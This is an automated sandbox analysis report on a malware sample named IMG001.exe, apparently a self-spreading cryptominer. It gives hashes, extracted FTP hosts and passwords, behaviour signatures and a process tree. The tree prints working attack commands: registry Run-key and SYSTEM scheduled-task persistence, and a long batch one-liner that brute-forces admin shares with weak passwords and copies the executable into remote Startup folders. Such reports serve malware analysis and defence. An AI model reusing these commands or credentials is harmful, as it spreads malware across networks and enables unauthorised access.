Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-06-2023 12:42

General

  • Target

    IMG001.exe

  • Size

    3.4MB

  • MD5

    979f00d5eadab60eb68529c990e49896

  • SHA1

    d01397159c414eaf5a7ab0e092c662e8b3a0eadc

  • SHA256

    b21cc3afe552b093b598fc93a023897acd91ebcb8dc045f16463962dcfacf9d0

  • SHA512

    1fe39bd6c786831db279c2e50a095894cf79ac82662cf8167864ec2587e857423e8441a358daa25ade88cb72ab763f0323a0f4b02c8a6864eb3fed786d6f93eb

  • SSDEEP

    98304:MdVPnq1y5tQOM33ZNqCtBixHl54Oyjes1boI:KVPq1yLanrqTr43eSz

Score
10/10

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    119.51.163.0
  • Port:
    21
  • Username:
    user
  • Password:
    784512

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    49.76.187.3
  • Port:
    21
  • Username:
    admin
  • Password:
    PC123

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    1.179.76.7
  • Port:
    21
  • Username:
    user

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    183.181.89.9
  • Port:
    21
  • Username:
    ftp
  • Password:
    iloveyou

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    165.22.62.9
  • Port:
    21
  • Username:
    admin
  • Password:
    VQsaBLPzLa

Signatures

  • Contacts a large (885) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 6 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Discovers systems in the same network 1 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IMG001.exe
    "C:\Users\Admin\AppData\Local\Temp\IMG001.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im tftp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1912
    • C:\Users\Admin\AppData\Local\Temp\tftp.exe
      "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
      2⤵
      • Executes dropped EXE
      PID:3300
    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Enumerates connected drives
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im tftp.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4172
      • C:\Users\Admin\AppData\Local\Temp\tftp.exe
        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
        3⤵
        • Executes dropped EXE
        PID:2288
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
          4⤵
          • Adds Run key to start application
          PID:4116
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Creates scheduled task(s)
          PID:5012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4872
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Drops file in Windows directory
          • Creates scheduled task(s)
          PID:3844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -standby-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1524
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -hibernate-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2172
        • C:\Windows\SysWOW64\powercfg.exe
          Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2812
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1503& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\SysWOW64\net.exe
            net view
            5⤵
            • Discovers systems in the same network
            PID:848
          • C:\Windows\SysWOW64\find.exe
            find /i "\\"
            5⤵
              PID:4492

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\info.zip

      Filesize

      1KB

      MD5

      8604e0f263922501f749cfca447b041a

      SHA1

      85c712bdeaceb78e2785e1f63811b0c4a50f952d

      SHA256

      52ec3ba075a507e62bb6e3272fb13b30a8ddc0f62c4ea194311d558b338eb5ed

      SHA512

      496d7a1b8b55d28387dad3f1c43e164bb567259c4cac21dd632ccd450dfbf28d431330c27ea72a5a8034979c325d19ff3fd8a3f7fc12b1122f67ef595630d5b2

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nseE9B6.tmp\inetc.dll

      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe

      Filesize

      95KB

      MD5

      bb60dae5a80f874eadcf5d26cf41c799

      SHA1

      64be822b1faa1c6c61f17b732069ebccf2af2396

      SHA256

      83d39fa4bb1c3955846236964b03bec59e2738795f9dfa4ab7a2807c1baa298c

      SHA512

      c1c5ce457a0adbaa63b82297808e94ecbe6448477acc9bdd024811e8615ec3af7018f54cd461f87fa5d7151680cda69cbbf890a41f5dac1b0576e2b11aa06a1d

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe

      Filesize

      95KB

      MD5

      bb60dae5a80f874eadcf5d26cf41c799

      SHA1

      64be822b1faa1c6c61f17b732069ebccf2af2396

      SHA256

      83d39fa4bb1c3955846236964b03bec59e2738795f9dfa4ab7a2807c1baa298c

      SHA512

      c1c5ce457a0adbaa63b82297808e94ecbe6448477acc9bdd024811e8615ec3af7018f54cd461f87fa5d7151680cda69cbbf890a41f5dac1b0576e2b11aa06a1d

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe

      Filesize

      95KB

      MD5

      bb60dae5a80f874eadcf5d26cf41c799

      SHA1

      64be822b1faa1c6c61f17b732069ebccf2af2396

      SHA256

      83d39fa4bb1c3955846236964b03bec59e2738795f9dfa4ab7a2807c1baa298c

      SHA512

      c1c5ce457a0adbaa63b82297808e94ecbe6448477acc9bdd024811e8615ec3af7018f54cd461f87fa5d7151680cda69cbbf890a41f5dac1b0576e2b11aa06a1d

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe

      Filesize

      95KB

      MD5

      bb60dae5a80f874eadcf5d26cf41c799

      SHA1

      64be822b1faa1c6c61f17b732069ebccf2af2396

      SHA256

      83d39fa4bb1c3955846236964b03bec59e2738795f9dfa4ab7a2807c1baa298c

      SHA512

      c1c5ce457a0adbaa63b82297808e94ecbe6448477acc9bdd024811e8615ec3af7018f54cd461f87fa5d7151680cda69cbbf890a41f5dac1b0576e2b11aa06a1d

    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

      Filesize

      3.4MB

      MD5

      979f00d5eadab60eb68529c990e49896

      SHA1

      d01397159c414eaf5a7ab0e092c662e8b3a0eadc

      SHA256

      b21cc3afe552b093b598fc93a023897acd91ebcb8dc045f16463962dcfacf9d0

      SHA512

      1fe39bd6c786831db279c2e50a095894cf79ac82662cf8167864ec2587e857423e8441a358daa25ade88cb72ab763f0323a0f4b02c8a6864eb3fed786d6f93eb

    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

      Filesize

      3.4MB

      MD5

      979f00d5eadab60eb68529c990e49896

      SHA1

      d01397159c414eaf5a7ab0e092c662e8b3a0eadc

      SHA256

      b21cc3afe552b093b598fc93a023897acd91ebcb8dc045f16463962dcfacf9d0

      SHA512

      1fe39bd6c786831db279c2e50a095894cf79ac82662cf8167864ec2587e857423e8441a358daa25ade88cb72ab763f0323a0f4b02c8a6864eb3fed786d6f93eb

    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe

      Filesize

      3.4MB

      MD5

      979f00d5eadab60eb68529c990e49896

      SHA1

      d01397159c414eaf5a7ab0e092c662e8b3a0eadc

      SHA256

      b21cc3afe552b093b598fc93a023897acd91ebcb8dc045f16463962dcfacf9d0

      SHA512

      1fe39bd6c786831db279c2e50a095894cf79ac82662cf8167864ec2587e857423e8441a358daa25ade88cb72ab763f0323a0f4b02c8a6864eb3fed786d6f93eb

    • memory/2288-166-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/3300-151-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB